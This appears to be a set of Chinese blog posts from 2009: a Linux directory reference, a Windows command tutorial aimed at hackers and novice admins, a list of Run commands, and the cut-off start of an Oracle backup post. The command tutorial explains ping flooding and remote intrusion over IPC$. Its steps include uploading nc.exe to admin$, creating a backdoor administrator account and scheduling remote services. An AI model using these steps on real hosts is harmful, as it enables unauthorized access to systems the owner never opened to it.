    類似/etc/passwd ,但說明的不是用戶信息而是組的信息。包括組的各種數(shù)據(jù)。
    6. /etc/inittab
    init 的配置文件。
    7. /etc/issue
    包括用戶在登錄提示符前的輸出信息。通常包括系統(tǒng)的一段短說明或歡迎信息。具體內(nèi)
    容由系統(tǒng)管理員確定。
    8. /etc/magic
    “f i l e”的配置文件。包含不同文件格式的說明,“f i l e”基于它猜測(cè)文件類型。
    9. /etc/motd
    m o t d是message of the day的縮寫,用戶成功登錄后自動(dòng)輸出。內(nèi)容由系統(tǒng)管理員確定。
    常用于通告信息,如計(jì)劃關(guān)機(jī)時(shí)間的警告等。
    10. /etc/mtab
    當(dāng)前安裝的文件系統(tǒng)列表。由腳本( s c r i t p )初始化,并由mount 命令自動(dòng)更新。當(dāng)需要一
    個(gè)當(dāng)前安裝的文件系統(tǒng)的列表時(shí)使用(例如df 命令)。
    11. /etc/shadow
    在安裝了影子( s h a d o w )口令軟件的系統(tǒng)上的影子口令文件。影子口令文件將/ e t c / p a s s w d
    文件中的加密口令移動(dòng)到/ e t c / s h a d o w中,而后者只對(duì)超級(jí)用戶( r o o t )可讀。這使破譯口令更困
    難,以此增加系統(tǒng)的安全性。
    12. /etc/login.defs
    l o g i n命令的配置文件。
    13. /etc/printcap
    類似/etc/termcap ,但針對(duì)打印機(jī)。語法不同。
    14. /etc/profile 、/ e t c / c s h . l o g i n、/etc/csh.cshrc
    登錄或啟動(dòng)時(shí)b o u r n e或c shells執(zhí)行的文件。這允許系統(tǒng)管理員為所有用戶建立全局缺省環(huán)境。
    15. /etc/securetty
    確認(rèn)安全終端,即哪個(gè)終端允許超級(jí)用戶( r o o t )登錄。一般只列出虛擬控制臺(tái),這樣就不
    可能(至少很困難)通過調(diào)制解調(diào)器( m o d e m )或網(wǎng)絡(luò)闖入系統(tǒng)并得到超級(jí)用戶特權(quán)。
    16. /etc/shells
    列出可以使用的s h e l l。chsh 命令允許用戶在本文件指定范圍內(nèi)改變登錄的s h e l l。提供一
    臺(tái)機(jī)器f t p服務(wù)的服務(wù)進(jìn)程ftpd 檢查用戶s h e l l是否列在/etc/shells 文件中,如果不是,將不允
    許該用戶登錄。
    17. /etc/termcap
    終端性能數(shù)據(jù)庫。說明不同的終端用什么“轉(zhuǎn)義序列”控制。寫程序時(shí)不直接輸出轉(zhuǎn)義
    序列(這樣只能工作于特定品牌的終端),而是從/etc/termcap 中查找要做的工作的正確序列。
    這樣,多數(shù)的程序可以在多數(shù)終端上運(yùn)行。


    /dev文件系統(tǒng)
    /dev 目錄包括所有設(shè)備的設(shè)備文件。設(shè)備文件用特定的約定命名,這在設(shè)備列表中說明。
    設(shè)備文件在安裝時(shí)由系統(tǒng)產(chǎn)生,以后可以用/dev/makedev 描述。/ d e v / m a k e d e v.local 是
    系統(tǒng)管理員為本地設(shè)備文件(或連接)寫的描述文稿(即如一些非標(biāo)準(zhǔn)設(shè)備驅(qū)動(dòng)不是標(biāo)準(zhǔn)
    makedev 的一部分)。下面簡要介紹/ d e v下一些常用文件。
    1. /dev/console
    系統(tǒng)控制臺(tái),也就是直接和系統(tǒng)連接的監(jiān)視器。
    2. /dev/hd
    i d e硬盤驅(qū)動(dòng)程序接口。如: / d e v / h d a指的是第一個(gè)硬盤, h a d 1則是指/ d e v / h d a的第一個(gè)
    分區(qū)。如系統(tǒng)中有其他的硬盤,則依次為/ d e v / h d b、/ d e v / h d c、. . . . . .;如有多個(gè)分區(qū)則依次為
    h d a 1、h d a 2 . . . . . .
    3. /dev/sd
    s c s i磁盤驅(qū)動(dòng)程序接口。如有系統(tǒng)有s c s i硬盤,就不會(huì)訪問/ d e v / h a d,而會(huì)訪問/ d e v / s d a。
    4. /dev/fd
    軟驅(qū)設(shè)備驅(qū)動(dòng)程序。如: / d e v / f d 0指系統(tǒng)的第一個(gè)軟盤,也就是通常所說的a:盤,
    / d e v / f d 1指第二個(gè)軟盤,. . . . . .而/ d e v / f d 1 h 1 4 4 0則表示訪問驅(qū)動(dòng)器1中的4 . 5高密盤。
    5. /dev/st
    s c s i磁帶驅(qū)動(dòng)器驅(qū)動(dòng)程序。
    6. /dev/tty
    提供虛擬控制臺(tái)支持。如: / d e v / t t y 1指的是系統(tǒng)的第一個(gè)虛擬控制臺(tái), / d e v / t t y 2則是系統(tǒng)
    的第二個(gè)虛擬控制臺(tái)。
    7. /dev/pty
    提供遠(yuǎn)程登陸偽終端支持。在進(jìn)行te l n e t登錄時(shí)就要用到/ d e v / p t y設(shè)備。
    8. /dev/ttys
    計(jì)算機(jī)串行接口,對(duì)于d o s來說就是“ c o m 1”口。
    9. /dev/cua
    計(jì)算機(jī)串行接口,與調(diào)制解調(diào)器一起使用的設(shè)備。
    10. /dev/null
    “黑洞”,所有寫入該設(shè)備的信息都將消失。例如:當(dāng)想要將屏幕上的輸出信息隱藏起來
    時(shí),只要將輸出信息輸入到/ d e v / n u l l中即可。


    /usr文件系統(tǒng)
    /usr 是個(gè)很重要的目錄,通常這一文件系統(tǒng)很大,因?yàn)樗谐绦虬惭b在這里。/usr 里的
    所有文件一般來自l i n u x發(fā)行版( d i s t r i b u t i o n );本地安裝的程序和其他東西在/usr/local 下,因?yàn)檫@樣可以在升級(jí)新版系統(tǒng)或新發(fā)行版時(shí)無須重新安裝全部程序。/usr 目錄下的許多內(nèi)容是
    可選的,但這些功能會(huì)使用戶使用系統(tǒng)更加有效。/ u s r可容納許多大型的軟件包和它們的配置
    文件。下面列出一些重要的目錄(一些不太重要的目錄被省略了)。
    1. /usr/x11r6
    包含x wi n d o w系統(tǒng)的所有可執(zhí)行程序、配置文件和支持文件。為簡化x的開發(fā)和安裝,
    x的文件沒有集成到系統(tǒng)中。x wi n d o w系統(tǒng)是一個(gè)功能強(qiáng)大的圖形環(huán)境,提供了大量的圖形
    工具程序。用戶如果對(duì)microsoft wi n d o w s或m a c h i n t o s h比較熟悉的話,就不會(huì)對(duì)x wi n d o w系統(tǒng)感到束手無策了。
    2. /usr/x386
    類似/ u s r / x 11r6 ,但是是專門給x 11 release 5的。
    3. /usr/bin
    集中了幾乎所有用戶命令,是系統(tǒng)的軟件庫。另有些命令在/bin 或/usr/local/bin 中。
    4. /usr/sbin
    包括了根文件系統(tǒng)不必要的系統(tǒng)管理命令,例如多數(shù)服務(wù)程序。
    5. /usr/man、/ u s r / i n f o、/ u s r / d o c
    這些目錄包含所有手冊(cè)頁、g n u信息文檔和各種其他文檔文件。每個(gè)聯(lián)機(jī)手冊(cè)的“節(jié)”
    都有兩個(gè)子目錄。例如: / u s r / m a n / m a n 1中包含聯(lián)機(jī)手冊(cè)第一節(jié)的源碼(沒有格式化的原始文
    件),/ u s r / m a n / c a t 1包含第一節(jié)已格式化的內(nèi)容。l聯(lián)機(jī)手冊(cè)分為以下九節(jié):內(nèi)部命令、系統(tǒng)調(diào)
    用、庫函數(shù)、設(shè)備、文件格式、游戲、宏軟件包、系統(tǒng)管理和核心程序。
    6. /usr/include
    包含了c語言的頭文件,這些文件多以. h結(jié)尾,用來描述c語言程序中用到的數(shù)據(jù)結(jié)構(gòu)、
    子過程和常量。為了保持一致性,這實(shí)際上應(yīng)該放在/usr/lib 下,但習(xí)慣上一直沿用了這個(gè)名
    字。
    7. /usr/lib
    包含了程序或子系統(tǒng)的不變的數(shù)據(jù)文件,包括一些s i t e - w i d e配置文件。名字l i b來源于庫
    (library); 編程的原始庫也存在/usr/lib 里。當(dāng)編譯程序時(shí),程序便會(huì)和其中的庫進(jìn)行連接。也
    有許多程序把配置文件存入其中。
    8. /usr/local
    本地安裝的軟件和其他文件放在這里。這與/ u s r很相似。用戶可能會(huì)在這發(fā)現(xiàn)一些比較大
    的軟件包,如t e x、e m a c s等。


    /var文件系統(tǒng)
    /var 包含系統(tǒng)一般運(yùn)行時(shí)要改變的數(shù)據(jù)。通常這些數(shù)據(jù)所在的目錄的大小是要經(jīng)常變化
    或擴(kuò)充的。原來/ v a r目錄中有些內(nèi)容是在/ u s r中的,但為了保持/ u s r目錄的相對(duì)穩(wěn)定,就把那
    些需要經(jīng)常改變的目錄放到/ v a r中了。每個(gè)系統(tǒng)是特定的,即不通過網(wǎng)絡(luò)與其他計(jì)算機(jī)共享。
    下面列出一些重要的目錄(一些不太重要的目錄省略了)。
    1. /var/catman
    包括了格式化過的幫助( m a n )頁。幫助頁的源文件一般存在/ u s r / m a n / m a n中;有些m a n頁
    可能有預(yù)格式化的版本,存在/ u s r / m a n / c a t中。而其他的m a n頁在第一次看時(shí)都需要格式化,
    格式化完的版本存在/var/man 中,這樣其他人再看相同的頁時(shí)就無須等待格式化了。
    (/var/catman 經(jīng)常被清除,就像清除臨時(shí)目錄一樣。)
    2. /var/lib
    存放系統(tǒng)正常運(yùn)行時(shí)要改變的文件。
    3. /var/local
    存放/usr/local 中安裝的程序的可變數(shù)據(jù)(即系統(tǒng)管理員安裝的程序)。注意,如果必要,
    即使本地安裝的程序也會(huì)使用其他/var 目錄,例如/var/lock 。
    4. /var/lock
    鎖定文件。許多程序遵循在/var/lock 中產(chǎn)生一個(gè)鎖定文件的約定,以用來支持他們正在
    使用某個(gè)特定的設(shè)備或文件。其他程序注意到這個(gè)鎖定文件時(shí),就不會(huì)再使用這個(gè)設(shè)備或文
    件。
    5. /var/log
    各種程序的日志( l o g )文件,尤其是login (/var/log/wtmp log紀(jì)錄所有到系統(tǒng)的登錄和注
    銷) 和syslog (/var/log/messages 紀(jì)錄存儲(chǔ)所有核心和系統(tǒng)程序信息)。/var/log 里的文件經(jīng)常不
    確定地增長,應(yīng)該定期清除。
    6. /var/run
    保存在下一次系統(tǒng)引導(dǎo)前有效的關(guān)于系統(tǒng)的信息文件。例如, /var/run/utmp 包含當(dāng)前登
    錄的用戶的信息。
    7. /var/spool
    放置“假脫機(jī)( s p o o l )”程序的目錄,如m a i l、n e w s、打印隊(duì)列和其他隊(duì)列工作的目錄。每
    個(gè)不同的s p o o l在/var/spool 下有自己的子目錄,例如,用戶的郵箱就存放在/var/spool/mail 中。
    8. /var/tmp
    比/tmp 允許更大的或需要存在較長時(shí)間的臨時(shí)文件。
    注意系統(tǒng)管理員可能不允許/var/tmp 有很舊的文件。


    /proc文件系統(tǒng)
    /proc 文件系統(tǒng)是一個(gè)偽的文件系統(tǒng),就是說它是一個(gè)實(shí)際上不存在的目錄,因而這是一
    個(gè)非常特殊的目錄。它并不存在于某個(gè)磁盤上,而是由核心在內(nèi)存中產(chǎn)生。這個(gè)目錄用于提
    供關(guān)于系統(tǒng)的信息。下面說明一些最重要的文件和目錄(/proc 文件系統(tǒng)在proc man頁中有更詳
    細(xì)的說明)。
    1. /proc/x
    關(guān)于進(jìn)程x的信息目錄,這一x是這一進(jìn)程的標(biāo)識(shí)號(hào)。每個(gè)進(jìn)程在/proc 下有一個(gè)名為自
    己進(jìn)程號(hào)的目錄。
    2. /proc/cpuinfo
    存放處理器( c p u )的信息,如c p u的類型、制造商、型號(hào)和性能等。
    3. /proc/devices
    當(dāng)前運(yùn)行的核心配置的設(shè)備驅(qū)動(dòng)的列表。
    4. /proc/dma
    顯示當(dāng)前使用的d m a通道。
    5. /proc/filesystems
    核心配置的文件系統(tǒng)信息。
    6. /proc/interrupts
    顯示被占用的中斷信息和占用者的信息,以及被占用的數(shù)量。
    7. /proc/ioports
    當(dāng)前使用的i / o端口。
    8. /proc/kcore
    系統(tǒng)物理內(nèi)存映像。與物理內(nèi)存大小完全一樣,然而實(shí)際上沒有占用這么多內(nèi)存;它僅
    僅是在程序訪問它時(shí)才被創(chuàng)建。(注意:除非你把它拷貝到什么地方,否則/proc 下沒有任何
    東西占用任何磁盤空間。)
    9. /proc/kmsg
    核心輸出的消息。也會(huì)被送到s y s l o g。
    10. /proc/ksyms
    核心符號(hào)表。
    11. /proc/loadavg
    系統(tǒng)“平均負(fù)載”; 3個(gè)沒有意義的指示器指出系統(tǒng)當(dāng)前的工作量。
    12. /proc/meminfo
    各種存儲(chǔ)器使用信息,包括物理內(nèi)存和交換分區(qū)( s w a p )。
    13. /proc/modules
    存放當(dāng)前加載了哪些核心模塊信息。
    14. /proc/net
    網(wǎng)絡(luò)協(xié)議狀態(tài)信息。
    15. /proc/self
    存放到查看/proc 的程序的進(jìn)程目錄的符號(hào)連接。當(dāng)2個(gè)進(jìn)程查看/proc 時(shí),這將會(huì)是不同
    的連接。這主要便于程序得到它自己的進(jìn)程目錄。
    16. /proc/stat
    系統(tǒng)的不同狀態(tài),例如,系統(tǒng)啟動(dòng)后頁面發(fā)生錯(cuò)誤的次數(shù)。
    17. /proc/uptime
    系統(tǒng)啟動(dòng)的時(shí)間長度。
    18. /proc/version
    核心版本。
    posted @ 2009-03-11 10:13 moonandsun 閱讀(158) | 評(píng)論 (0)編輯 收藏
    必須掌握的八個(gè)【cmd 命令行】
    一,ping    

      它是用來檢查網(wǎng)絡(luò)是否通暢或者網(wǎng)絡(luò)連接速度的命令。作為一個(gè)生活在網(wǎng)絡(luò)上的管理員或者黑客來說,ping命令是第一個(gè)必須掌握的DOS命令,它所利用的原理是這樣的:網(wǎng)絡(luò)上的機(jī)器都有唯一確定的IP地址,我們給目標(biāo)IP地址發(fā)送一個(gè)數(shù)據(jù)包,對(duì)方就要返回一個(gè)同樣大小的數(shù)據(jù)包,根據(jù)返回的數(shù)據(jù)包我們可以確定目標(biāo)主機(jī)的存在,可以初步判斷目標(biāo)主機(jī)的操作系統(tǒng)等。下面就來看看它的一些常用的操作。先看看幫助吧,在DOS窗口中鍵入:ping /? 回車,。所示的幫助畫面。在此,我們只掌握一些基本的很有用的參數(shù)就可以了(下同)。    

      -t 表示將不間斷向目標(biāo)IP發(fā)送數(shù)據(jù)包,直到我們強(qiáng)迫其停止。試想,如果你使用100M的寬帶接入,而目標(biāo)IP是56K的小貓,那么要不了多久,目標(biāo)IP就因?yàn)槌惺懿涣诉@么多的數(shù)據(jù)而掉線,呵呵,一次攻擊就這么簡單的實(shí)現(xiàn)了。    

      -l 定義發(fā)送數(shù)據(jù)包的大小,默認(rèn)為32字節(jié),我們利用它可以最大定義到65500字節(jié)。結(jié)合上面介紹的-t參數(shù)一起使用,會(huì)有更好的效果哦。    

      -n 定義向目標(biāo)IP發(fā)送數(shù)據(jù)包的次數(shù),默認(rèn)為3次。如果網(wǎng)絡(luò)速度比較慢,3次對(duì)我們來說也浪費(fèi)了不少時(shí)間,因?yàn)楝F(xiàn)在我們的目的僅僅是判斷目標(biāo)IP是否存在,那么就定義為一次吧。    

      說明一下,如果-t 參數(shù)和 -n參數(shù)一起使用,ping命令就以放在后面的參數(shù)為標(biāo)準(zhǔn),比如"ping IP -t -n 3",雖然使用了-t參數(shù),但并不是一直ping下去,而是只ping 3次。另外,ping命令不一定非得ping IP,也可以直接ping主機(jī)域名,這樣就可以得到主機(jī)的IP。    

      下面我們舉個(gè)例子來說明一下具體用法。    

      這里time=2表示從發(fā)出數(shù)據(jù)包到接受到返回?cái)?shù)據(jù)包所用的時(shí)間是2秒,從這里可以判斷網(wǎng)絡(luò)連接速度的大小 。從TTL的返回值可以初步判斷被ping主機(jī)的操作系統(tǒng),之所以說"初步判斷"是因?yàn)檫@個(gè)值是可以修改的。這里TTL=32表示操作系統(tǒng)可能是win98。 

      (小知識(shí):如果TTL=128,則表示目標(biāo)主機(jī)可能是Win2000;如果TTL=250,則目標(biāo)主機(jī)可能是Unix) 

      至于利用ping命令可以快速查找局域網(wǎng)故障,可以快速搜索最快的QQ服務(wù)器,可以對(duì)別人進(jìn)行ping攻擊……這些就靠大家自己發(fā)揮了。    

    二,nbtstat    

      該命令使用TCP/IP上的NetBIOS顯示協(xié)議統(tǒng)計(jì)和當(dāng)前TCP/IP連接,使用這個(gè)命令你可以得到遠(yuǎn)程主機(jī)的NETBIOS信息,比如用戶名、所屬的工作組、網(wǎng)卡的MAC地址等。在此我們就有必要了解幾個(gè)基本的參數(shù)。    

      -a 使用這個(gè)參數(shù),只要你知道了遠(yuǎn)程主機(jī)的機(jī)器名稱,就可以得到它的NETBIOS信息(下同)。    

      -A 這個(gè)參數(shù)也可以得到遠(yuǎn)程主機(jī)的NETBIOS信息,但需要你知道它的IP。 

      -n 列出本地機(jī)器的NETBIOS信息。    

      當(dāng)?shù)玫搅藢?duì)方的IP或者機(jī)器名的時(shí)候,就可以使用nbtstat命令來進(jìn)一步得到對(duì)方的信息了,這又增加了我們?nèi)肭值谋kU(xiǎn)系數(shù)。    

    三,netstat 

      這是一個(gè)用來查看網(wǎng)絡(luò)狀態(tài)的命令,操作簡便功能強(qiáng)大。    

      -a 查看本地機(jī)器的所有開放端口,可以有效發(fā)現(xiàn)和預(yù)防木馬,可以知道機(jī)器所開的服務(wù)等信息,如圖4。    

      這里可以看出本地機(jī)器開放有FTP服務(wù)、Telnet服務(wù)、郵件服務(wù)、WEB服務(wù)等。用法:netstat -a IP。 

      -r 列出當(dāng)前的路由信息,告訴我們本地機(jī)器的網(wǎng)關(guān)、子網(wǎng)掩碼等信息。用法:netstat -r IP。 
    四,tracert 

      跟蹤路由信息,使用此命令可以查出數(shù)據(jù)從本地機(jī)器傳輸?shù)侥繕?biāo)主機(jī)所經(jīng)過的所有途徑,這對(duì)我們了解網(wǎng)絡(luò)布局和結(jié)構(gòu)很有幫助。如圖5。    

      這里說明數(shù)據(jù)從本地機(jī)器傳輸?shù)?92.168.0.1的機(jī)器上,中間沒有經(jīng)過任何中轉(zhuǎn),說明這兩臺(tái)機(jī)器是在同一段局域網(wǎng)內(nèi)。用法:tracert IP。    

    五,net    

      這個(gè)命令是網(wǎng)絡(luò)命令中最重要的一個(gè),必須透徹掌握它的每一個(gè)子命令的用法,因?yàn)樗墓δ軐?shí)在是太強(qiáng)大了,這簡直就是 微軟為我們提供的最好的入侵工具。首先讓我們來看一看它都有那些子命令,鍵入net /?回車如圖6。 

      在這里,我們重點(diǎn)掌握幾個(gè)入侵常用的子命令。    

      net view    

      使用此命令查看遠(yuǎn)程主機(jī)的所以共享資源。命令格式為net view \IP。   

      net use 

      把遠(yuǎn)程主機(jī)的某個(gè)共享資源影射為本地盤符,圖形界面方便使用,呵呵。命令格式為net use x: \IP\sharename。上面一個(gè)表示把192.168.0.5IP的共享名為magic的目錄影射為本地的Z盤。下面表示和192.168.0.7建立IPC$連接(net use \IP\IPC$ "password" /user:"name"),    

      建立了IPC$連接后,呵呵,就可以上傳文件了:copy nc.exe \192.168.0.7\admin$,表示把本地目錄下的nc.exe傳到遠(yuǎn)程主機(jī),結(jié)合后面要介紹到的其他DOS命令就可以實(shí)現(xiàn)入侵了。    

      net start 

      使用它來啟動(dòng)遠(yuǎn)程主機(jī)上的服務(wù)。當(dāng)你和遠(yuǎn)程主機(jī)建立連接后,如果發(fā)現(xiàn)它的什么服務(wù)沒有啟動(dòng),而你又想利用此服務(wù)怎么辦?就使用這個(gè)命令來啟動(dòng)吧。用法:net start servername,如圖9,成功啟動(dòng)了telnet服務(wù)。    

      net stop 

      入侵后發(fā)現(xiàn)遠(yuǎn)程主機(jī)的某個(gè)服務(wù)礙手礙腳,怎么辦?利用這個(gè)命令停掉就ok了,用法和net start同。    

      net user 

      查看和帳戶有關(guān)的情況,包括新建帳戶、刪除帳戶、查看特定帳戶、激活帳戶、帳戶禁用等。這對(duì)我們?nèi)肭质呛苡欣模钪匾模鼮槲覀兛寺籼峁┝饲疤帷fI入不帶參數(shù)的net user,可以查看所有用戶,包括已經(jīng)禁用的。下面分別講解。 

      1,net user abcd 1234 /add,新建一個(gè)用戶名為abcd,密碼為1234的帳戶,默認(rèn)為user組成員。 

      2,net user abcd /del,將用戶名為abcd的用戶刪除。 

      3,net user abcd /active:no,將用戶名為abcd的用戶禁用。 

      4,net user abcd /active:yes,激活用戶名為abcd的用戶。 

      5,net user abcd,查看用戶名為abcd的用戶的情況   

      net localgroup 

      查看所有和用戶組有關(guān)的信息和進(jìn)行相關(guān)操作。鍵入不帶參數(shù)的net localgroup即列出當(dāng)前所有的用戶組。在入侵過程中,我們一般利用它來把某個(gè)帳戶提升為administrator組帳戶,這樣我們利用這個(gè)帳戶就可以控制整個(gè)遠(yuǎn)程主機(jī)了。用法:net localgroup groupname username /add。    

      現(xiàn)在我們把剛才新建的用戶abcd加到administrator組里去了,這時(shí)候abcd用戶已經(jīng)是超級(jí)管理員了,呵呵,你可以再使用net user abcd來查看他的狀態(tài),和圖10進(jìn)行比較就可以看出來。但這樣太明顯了,網(wǎng)管一看用戶情況就能漏出破綻,所以這種方法只能對(duì)付菜鳥網(wǎng)管,但我們還得知道。現(xiàn)在的手段都是利用其他工具和手段克隆一個(gè)讓網(wǎng)管看不出來的超級(jí)管理員,這是后話。有興趣的朋友可以參照《黑客防線》第30期上的《由淺入深解析隆帳戶》一文。    

      net time 

      這個(gè)命令可以查看遠(yuǎn)程主機(jī)當(dāng)前的時(shí)間。如果你的目標(biāo)只是進(jìn)入到遠(yuǎn)程主機(jī)里面,那么也許就用不到這個(gè)命令了。但簡單的入侵成功了,難道只是看看嗎?我們需要進(jìn)一步滲透。這就連遠(yuǎn)程主機(jī)當(dāng)前的時(shí)間都需要知道,因?yàn)槔脮r(shí)間和其他手段(后面會(huì)講到)可以實(shí)現(xiàn)某個(gè)命令和程序的定時(shí)啟動(dòng),為我們進(jìn)一步入侵打好基礎(chǔ)。用法:net time \IP。    

    六,at 

    這個(gè)命令的作用是安排在特定日期或時(shí)間執(zhí)行某個(gè)特定的命令和程序(知道net time的重要了吧?)。當(dāng)我們知道了遠(yuǎn)程主機(jī)的當(dāng)前時(shí)間,就可以利用此命令讓其在以后的某個(gè)時(shí)間(比如2分鐘后)執(zhí)行某個(gè)程序和命令。用法:at time command \computer。    

      表示在6點(diǎn)55分時(shí),讓名稱為a-01的計(jì)算機(jī)開啟telnet服務(wù)(這里net start telnet即為開啟telnet服務(wù)的命令)。    
    七,ftp    

      大家對(duì)這個(gè)命令應(yīng)該比較熟悉了吧?網(wǎng)絡(luò)上開放的ftp的主機(jī)很多,其中很大一部分是匿名的,也就是說任何人都可以登陸上去。現(xiàn)在如果你掃到了一臺(tái)開放ftp服務(wù)的主機(jī)(一般都是開了21端口的機(jī)器),如果你還不會(huì)使用ftp的命令怎么辦?下面就給出基本的ftp命令使用方法。 

      首先在命令行鍵入ftp回車,出現(xiàn)ftp的提示符,這時(shí)候可以鍵入"help"來查看幫助(任何DOS命令都可以使用此方法查看其幫助)。    

      大家可能看到了,這么多命令該怎么用?其實(shí)也用不到那么多,掌握幾個(gè)基本的就夠了。    

      首先是登陸過程,這就要用到open了,直接在ftp的提示符下輸入"open 主機(jī)IP ftp端口"回車即可,一般端口默認(rèn)都是21,可以不寫。接著就是輸入合法的用戶名和密碼進(jìn)行登陸了,這里以匿名ftp為例介紹。    

      用戶名和密碼都是ftp,密碼是不顯示的。當(dāng)提示**** logged in時(shí),就說明登陸成功。這里因?yàn)槭悄涿顷懀杂脩麸@示為Anonymous。    

      接下來就要介紹具體命令的使用方法了。    

      dir 跟DOS命令一樣,用于查看服務(wù)器的文件,直接敲上dir回車,就可以看到此ftp服務(wù)器上的文件。 

      cd 進(jìn)入某個(gè)文件夾。 

      get 下載文件到本地機(jī)器。 

      put 上傳文件到遠(yuǎn)程服務(wù)器。這就要看遠(yuǎn)程ftp服務(wù)器是否給了你可寫的權(quán)限了,如果可以,呵呵,該怎么 利用就不多說了,大家就自由發(fā)揮去吧。 

      delete 刪除遠(yuǎn)程ftp服務(wù)器上的文件。這也必須保證你有可寫的權(quán)限。 

      bye 退出當(dāng)前連接。 

      quit 同上。 
       

    八,telnet 

      功能強(qiáng)大的遠(yuǎn)程登陸命令,幾乎所有的入侵者都喜歡用它,屢試不爽。為什么?它操作簡單,如同使用自己的機(jī)器一樣,只要你熟悉DOS命令,在成功以administrator身份連接了遠(yuǎn)程機(jī)器后,就可以用它來干你想干的一切了。下面介紹一下使用方法,首先鍵入telnet回車,再鍵入help查看其幫助信息。    

      然后在提示符下鍵入open IP回車,這時(shí)就出現(xiàn)了登陸窗口,讓你輸入合法的用戶名和密碼,這里輸入任何密碼都是不顯示的。    

      當(dāng)輸入用戶名和密碼都正確后就成功建立了telnet連接,這時(shí)候你就在遠(yuǎn)程主機(jī)上具有了和此用戶一樣的權(quán)限,利用DOS命令就可以實(shí)現(xiàn)你想干的事情了。這里我使用的超級(jí)管理員權(quán)限登陸的。   

      到這里為止,網(wǎng)絡(luò)DOS命令的介紹就告一段落了,這里介紹的目的只是給菜鳥網(wǎng)管一個(gè)印象,讓其知道熟悉和掌握網(wǎng)絡(luò)DOS命令的重要性。其實(shí)和網(wǎng)絡(luò)有關(guān)的DOS命令還遠(yuǎn)不止這些,這里只是拋磚引玉,希望能對(duì)廣大菜鳥網(wǎng)管有所幫助。學(xué)好DOS對(duì)當(dāng)好網(wǎng)管有很大的幫助,特別的熟練掌握了一些網(wǎng)絡(luò)的DOS命令。 

      另外大家應(yīng)該清楚,任何人要想進(jìn)入系統(tǒng),必須得有一個(gè)合法的用戶名和密碼(輸入法漏洞差不多絕跡了吧),哪怕你拿到帳戶的只有一個(gè)很小的權(quán)限,你也可以利用它來達(dá)到最后的目的。所以堅(jiān)決消滅空口令,給自己的帳戶加上一個(gè)強(qiáng)壯的密碼,是最好的防御弱口令入侵的方法。 

      最后,由衷的說一句,培養(yǎng)良好的安全意識(shí)才是最重要的。

    =========================================
    開始→運(yùn)行→命令集錦
    winver---------檢查Windows版本 
    wmimgmt.msc----打開windows管理體系結(jié)構(gòu)(WMI) 
    wupdmgr--------windows更新程序 
    wscript--------windows腳本宿主設(shè)置 
    write----------寫字板 
    winmsd---------系統(tǒng)信息 
    wiaacmgr-------掃描儀和照相機(jī)向?qū)?nbsp;
    winchat--------XP自帶局域網(wǎng)聊天 

    mem.exe--------顯示內(nèi)存使用情況 
    Msconfig.exe---系統(tǒng)配置實(shí)用程序 
    mplayer2-------簡易widnows media player 
    mspaint--------畫圖板 
    mstsc----------遠(yuǎn)程桌面連接 
    mplayer2-------媒體播放機(jī) 
    magnify--------放大鏡實(shí)用程序 
    mmc------------打開控制臺(tái) 
    mobsync--------同步命令 

    dxdiag---------檢查DirectX信息 
    drwtsn32------ 系統(tǒng)醫(yī)生 
    devmgmt.msc--- 設(shè)備管理器 
    dfrg.msc-------磁盤碎片整理程序 
    diskmgmt.msc---磁盤管理實(shí)用程序 
    dcomcnfg-------打開系統(tǒng)組件服務(wù) 
    ddeshare-------打開DDE共享設(shè)置 
    dvdplay--------DVD播放器 

    net stop messenger-----停止信使服務(wù) 
    net start messenger----開始信使服務(wù) 
    notepad--------打開記事本 
    nslookup-------網(wǎng)絡(luò)管理的工具向?qū)?nbsp;
    ntbackup-------系統(tǒng)備份和還原 
    narrator-------屏幕"講述人" 
    ntmsmgr.msc----移動(dòng)存儲(chǔ)管理器 
    ntmsoprq.msc---移動(dòng)存儲(chǔ)管理員操作請(qǐng)求 
    netstat -an----(TC)命令檢查接口 

    syncapp--------創(chuàng)建一個(gè)公文包 
    sysedit--------系統(tǒng)配置編輯器 
    sigverif-------文件簽名驗(yàn)證程序 
    sndrec32-------錄音機(jī) 
    shrpubw--------創(chuàng)建共享文件夾 
    secpol.msc-----本地安全策略 
    syskey---------系統(tǒng)加密,一旦加密就不能解開,保護(hù)windows xp系統(tǒng)的雙重密碼 
    services.msc---本地服務(wù)設(shè)置 
    Sndvol32-------音量控制程序 
    sfc.exe--------系統(tǒng)文件檢查器 
    sfc /scannow---windows文件保護(hù) 

    tsshutdn-------60秒倒計(jì)時(shí)關(guān)機(jī)命令 
    tourstart------xp簡介(安裝完成后出現(xiàn)的漫游xp程序) 
    taskmgr--------任務(wù)管理器 

    eventvwr-------事件查看器 
    eudcedit-------造字程序 
    explorer-------打開資源管理器 


    packager-------對(duì)象包裝程序 
    perfmon.msc----計(jì)算機(jī)性能監(jiān)測(cè)程序 
    progman--------程序管理器 

    regedit.exe----注冊(cè)表 
    rsop.msc-------組策略結(jié)果集 
    regedt32-------注冊(cè)表編輯器 
    rononce -p ----15秒關(guān)機(jī) 
    regsvr32 /u *.dll----停止dll文件運(yùn)行 
    regsvr32 /u zipfldr.dll------取消ZIP支持 

    cmd.exe--------CMD命令提示符 
    chkdsk.exe-----Chkdsk磁盤檢查 
    certmgr.msc----證書管理實(shí)用程序 
    calc-----------啟動(dòng)計(jì)算器 
    charmap--------啟動(dòng)字符映射表 
    cliconfg-------SQL SERVER 客戶端網(wǎng)絡(luò)實(shí)用程序 
    Clipbrd--------剪貼板查看器 
    conf-----------啟動(dòng)netmeeting 
    compmgmt.msc---計(jì)算機(jī)管理 
    cleanmgr-------垃圾整理 
    ciadv.msc------索引服務(wù)程序 

    osk------------打開屏幕鍵盤 
    odbcad32-------ODBC數(shù)據(jù)源管理器 
    oobe/msoobe /a----檢查XP是否激活 
    lusrmgr.msc----本機(jī)用戶和組 
    logoff---------注銷命令 


    iexpress-------木馬捆綁工具,系統(tǒng)自帶 

    Nslookup-------IP地址偵測(cè)器 

    fsmgmt.msc-----共享文件夾管理器 

    utilman--------輔助工具管理器 

    gpedit.msc-----組策略
    posted @ 2009-03-09 22:33 moonandsun 閱讀(204) | 評(píng)論 (0)編輯 收藏
            對(duì)Oracle了解不是很多,很大程度上只停留在簡單使用的層面上,至于Oracle備份問題更是涉足不深。但畢竟項(xiàng)目要做,數(shù)據(jù)庫要維護(hù)和備份,下面簡述一下現(xiàn)階段我對(duì)數(shù)據(jù)庫(oracle)的備份。雖然該方法不是很好,但我認(rèn)為能在一定意義上解決一定問題。當(dāng)然,強(qiáng)烈希望高人看到此貼后能留下你的經(jīng)典備份之作,不勝感激。

            首先你需要對(duì)oracle數(shù)據(jù)庫導(dǎo)入導(dǎo)出命令有所了解。
            
          
